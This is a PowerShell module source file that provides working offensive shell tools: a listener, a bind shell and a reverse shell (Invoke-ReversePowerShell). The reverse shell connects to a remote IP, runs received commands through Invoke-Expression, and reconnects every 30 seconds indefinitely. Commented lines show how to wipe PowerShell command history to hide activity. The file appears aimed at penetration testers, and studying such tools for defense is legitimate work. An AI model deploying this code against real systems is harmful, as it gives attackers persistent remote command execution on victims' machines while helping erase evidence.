ReversePowerShell.psm1

<#
.NAME
    Start-Listener
 
 
.SYNOPSIS
    This cmdlet is for starting a listener that a reverse shell can attach too.
 
 
.DESCRIPTION
    The Start-Listener cmdlet opens a listner port to connect to from a target machine.
 
 
.SYNTAX
    Start-Listener [[-Port] <int32>]
 
 
.PARAMETERS
    -Port [<Int32>]
        This parameter is for defining the listening port to connect too.
        The cmdlet binds connections to the port that you specify.
            Required? false
            Position? 0
            Default value 1337
            Accept pipeline input? false
            Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Start-Listener -Port 1234
    This examples connects to a listener on port 1234.
 
    -------------------------- EXAMPLE 2 --------------------------
    Start-Listener
    This examples connects to a listener on port 1337.
 
 
.NOTES
    Author: Rob Osborne
    ALias: tobor
    Contact: rosborne@osbornepro.com
    https://roberthsoborne.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
#>

Function Start-Listener {
    [CmdletBinding()]
        param(
            [Parameter(
                Mandatory=$False,
                Position=0,
                ValueFromPipeline=$False,
                HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter
            [ValidateRange(1,65535)]
            [int32]$Port = 1337
        ) # End param

    Write-Verbose "Defining listener object"
    $Socket = New-Object -TypeName System.Net.Sockets.TcpListener('0.0.0.0', $Port);

    If($Null -eq $Socket)
    {

        Exit

    } # End If

    $PortString = $Port.ToString()

    Write-Verbose "Starting listener on port $PortString and creating job to allow closing the connection"
    
    $Socket.Start()
    Write-Host ("Listening on [0.0.0.0] (port " + $Port + ")") -ForegroundColor 'Green'
    While ($true) 
    {

        Write-Verbose "Begin loop allowing Ctrl+C to stop the listener"
        If ($Socket.Pending()) 
        {
        
            $Client = $Socket.AcceptTcpClient()

            Break;

        }  # End If

        Start-Sleep -Seconds 1

     }  # End While

    Write-Host "[*] Connection Established." -ForegroundColor 'Green'

    Write-Verbose "Creating byte stream"
    $Stream = $Client.GetStream()
    $Writer = New-Object -TypeName System.IO.StreamWriter($Stream)
    $Buffer = New-Object -TypeName System.Byte[] 2048
    $Encoding = New-Object -TypeName System.Text.AsciiEncoding

    Write-Verbose "Begin command execution loop"
    Do 
    {

        $Command = Read-Host

        $Writer.WriteLine($Command)
        $Writer.Flush();

        If($Command -eq "exit")
        {

            Write-Verbose "Exiting"
            Break

        }  # End If

        $Read = $Null

        While($Stream.DataAvailable -or $Null -eq $Read)
        {

            $Read = $Stream.Read($Buffer, 0, 2048)
            $Out = $Encoding.GetString($Buffer, 0, $Read)

            Write-Output $Out

        } # End While

    } While ($Client.Connected -eq $True) # End Do While Loop

    Write-Verbose "Terminating connection"
    $Socket.Stop()
    $Client.Close()
    $Stream.Dispose()
    Write-Verbose "Connection closed"

} # End Function Start-Listener


<#
.NAME
    Start-Bind
 
 
.SYNOPSIS
    This cmdlet is for binding the PowerShell application to a listening port.
 
 
.DESCRIPTION
    Start-Bind cmdlet opens a Bind Shell that attaches to PowerShell and listens on a port that you define.
 
 
.SYNTAX
    Start-Bind [[-Port] <int32>]
 
 
.PARAMETERS
    -Port [<Int32>]
        This parameter is for defining the listening port that PowerShell should attach too
        The cmdlet binds powershell to the port that you specify.
            Required? false
            Position? 0
            Default value 1337
            Accept pipeline input? false
            Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Start-Bind -Port 1234
    This examples connects powershell.exe to a listener on port 1234.
 
    -------------------------- EXAMPLE 2 --------------------------
    Start-Bind
    This examples connects powershell.exe to a listener on port 1337.
 
 
.NOTES
    Author: Rob Osborne
    ALias: tobor
    Contact: rosborne@osbornepro.com
    https://roberthsoborne.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
#>

Function Start-Bind {
    [CmdletBinding()]
        param(
            [Parameter(
                Mandatory=$False,
                Position=1,
                ValueFromPipeline=$False,
                HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter
            [ValidateRange(1,65535)]
            [int32]$Port = 1337
        )  # End param

        $PortString = $Port.ToString()
        Write-Verbose "Creating listener on port $PortString" 
        $Listener = [System.Net.Sockets.TcpListener]$Port
        Write-Host "[*] PowerShell.exe is bound to port $PortString" -ForegroundColor "Green"
        $Listener.Start()

        While ($True) 
        {
            
            Write-Verbose "Begin loop allowing Ctrl+C to stop the listener"
            If ($Listener.Pending()) 
            {
            
                $Client = $Listener.AcceptTcpClient()
    
                Break;
    
            }  # End If
    
            Start-Sleep -Seconds 1
    
         }  # End While
    
        Write-Host "[*] Connection Established." -ForegroundColor 'Green'
        $Stream = $Client.GetStream()

        Write-Verbose "Streaming bytes to PowerShell connection"
       [byte[]]$Bytes = 0..65535 | ForEach-Object -Process { 0 }
       $SendBytes = ([text.encoding]::ASCII).GetBytes("Logged into PowerShell as " + $env:USERNAME + " on " + $env:COMPUTERNAME + "`n`n")

       $Stream.Write($SendBytes,0,$SendBytes.Length)
       $SendBytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
       $Stream.Write($SendBytes,0,$SendBytes.Length)

        Write-Verbose "Begin command execution cycle"
       While(($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0)
       {
           
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $Data = $EncodedText.GetString($Bytes, 0, $i)

            Try
            {

                $SendBack = (Invoke-Expression -Command $Data 2>&1 | Out-String)

            }  # End Try
            Catch
            {

                Write-Host "Failure occured attempting to execute the command on target." -ForegroundColor 'Red'

                $Error[0] | Out-String 

            }  # End Catch

            Write-Verbose "Initial data send failed. Attempting a second time"
            $SendBack2  = $SendBack + 'PS ' + (Get-Location | Select-Object -ExpandProperty 'Path') + '> '
            $x = ($Error[0] | Out-String)
            $Error.clear()
            $SendBack2 = $SendBack2 + $x

            $SendByte = ([text.encoding]::ASCII).GetBytes($SendBack2)
            $Stream.Write($SendByte, 0, $SendByte.Length)
            $Stream.Flush()

        }  # End While

        Write-Verbose "Terminating connection"
        $Client.Close()
        $Listener.Stop()
        Write-Verbose "Connection closed"

}  # End Function Start-Bind

<#
.NAME
    Invoke-ReversePowerShell
 
 
.SYNOPSIS
    This cmdlet is for connecting PowerShell to a listening port on a target machine.
    This function is NOT able to connect to the Start-Bind cmdlet in this module.
 
 
.DESCRIPTION
    Connect to a lsitening port on a remote machine to complete a reverse shell.
 
 
.SYNTAX
    Invoke-ReversePowerShell [-IpAddress] <string> [[-Port] <int32>]
 
 
.PARAMETERS
    -IpAddress [<String>]
        This parameter is for defining the IPv4 address to connect too on a remote machine
        The cmdlet looks for a connection at this IP address on the remote host.
            Required? false
            Position? 0
            Default value none
            Accept pipeline input? false
            Accept wildcard characters? false
 
    -Port [<Int32>]
        This parameter is for defining the listening port to attach too on a remote machine
        The cmdlet looks for a connection on a remote host using the port that you specify here.
            Required? false
            Position? 1
            Default value 1337
            Accept pipeline input? false
            Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Invoke-ReversePowerShell -IpAddress 192.168.2.1 -Port 1234
    This examples connects to port 1234 on remote machine 192.168.2.1
 
    -------------------------- EXAMPLE 2 --------------------------
    Invoke-ReversePowerShell 192.168.2.1 1337
    This examples connects to port 1337 on remote machine 192.168.2.1.
 
 
.NOTES
    Author: Rob Osborne
    ALias: tobor
    Contact: rosborne@osbornepro.com
    https://roberthsoborne.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
#>

Function Invoke-ReversePowerShell {
    [CmdletBinding()]
        param(
            [Parameter(
                Mandatory=$True,
                Position=0,
                ValueFromPipeline=$True,
                ValueFromPipelineByPropertyName=$True,
                HelpMessage="Enter the IP Address of the remote machine. Example: 10.10.14.21")] # End Parameter
            [ValidateNotNullorEmpty()]
            [IPAddress]$IpAddress,

            [Parameter(
                Mandatory=$False,
                Position=1,
                ValueFromPipeline=$False,
                HelpMessage="Enter the port number the remote machine is listening on. Example: 1234")] # End Parameter
            [ValidateNotNullorEmpty()]
            [ValidateRange(1,65535)]
            [int32]$Port = 1337
        ) # End param

    Write-Verbose "Creating a fun infinite loop. - The Shadow King (Amahl Farouk)"
    $GodsMakeRules = "They dont follow them"

    While ($GodsMakeRules -eq 'They dont follow them')
    {

        Write-Verbose "Default error action is being defined as Continue"
        $ErrorActionPreference = 'Continue'

        Try
        {

            Write-Host "Connection attempted. Check your listener." -ForegroundColor 'Green'

            $Client = New-Object System.Net.Sockets.TCPClient($IpAddress,$Port)
            $Stream = $Client.GetStream()

            [byte[]]$Bytes = 0..255 | ForEach-Object -Process {0}
            $SendBytes = ([Text.Encoding]::ASCII).GetBytes("Welcome $env:USERNAME, you are now connected to $env:COMPUTERNAME "+"`n`n" + "PS " + (Get-Location).Path + "> ")
            $Stream.Write($SendBytes,0,$SendBytes.Length);$Stream.Flush()

            While(($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0)
            {

                $Command = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Bytes,0, $i)

                If($Command.StartsWith("kill-link"))
                {

                    Clear-Host

                    Write-Information "[*] If you wish to clear your command history when exiting shell uncomment the below lines"
                    # Clear-History
                    # Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force
                    Write-Verbose "Closing client connection"
                    $Client.Close()
                    Write-Verbose "Client connection closed"
                    Exit

                } # End If
                Try
                {

                    # Executes commands
                    $ExecuteCmd = Invoke-Expression -Command $Command -ErrorAction SilentlyContinue | Out-String
                    $ExecuteCmdAgain  = $ExecuteCmd + "PS " + (Get-Location).Path + "> "

                } # End Try
                Catch
                {

                    $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage
                    $ExecuteCmdAgain  =  "ERROR: " + $Error[0].ToString() + "`n`n" + "PS " + (Get-Location).Path + "> "
                    Clear-Host

                } # End Catch
                
                $ReturnBytes = ([Text.Encoding]::ASCII).GetBytes($ExecuteCmdAgain)
                $Stream.Write($ReturnBytes,0,$ReturnBytes.Length)
                $Stream.Flush()

            } # End While

        } # End Try
        Catch
        {

            Write-Host "There was a connection error. Retrying occurs every 30 seconds" -ForegroundColor 'Red'
            If ($Client.Connected)
            {

                Write-Information "[*] If you wish to clear your command history when exiting shell uncomment the below lines"
                # Clear-History
                # Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force

                Write-Verbose "Client closing"
                $Client.Close()
                Write-Verbose "Client connection closed"

            } # End If

            Write-Information "[*] If you wish to clear your command history when exiting shell uncomment the below lines"
            # Clear-History
            # Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force

            Write-Verbose "Begining countdown timer to reestablish failed connection"
            [int]$Time = 30
            $Length = $Time / 100

            For ($Time; $Time -gt 0; $Time--) 
            {
            
                $Text = "0:" + ($Time % 60) + " seconds left"
                Write-Progress -Activity "Attempting to re-establish connection in: " -Status $Text -PercentComplete ($Time / $Length)
                Start-Sleep -Seconds 1
            
            }  # End For

        } # End Catch

    } # End While

} # End Function Invoke-ReversePowerShell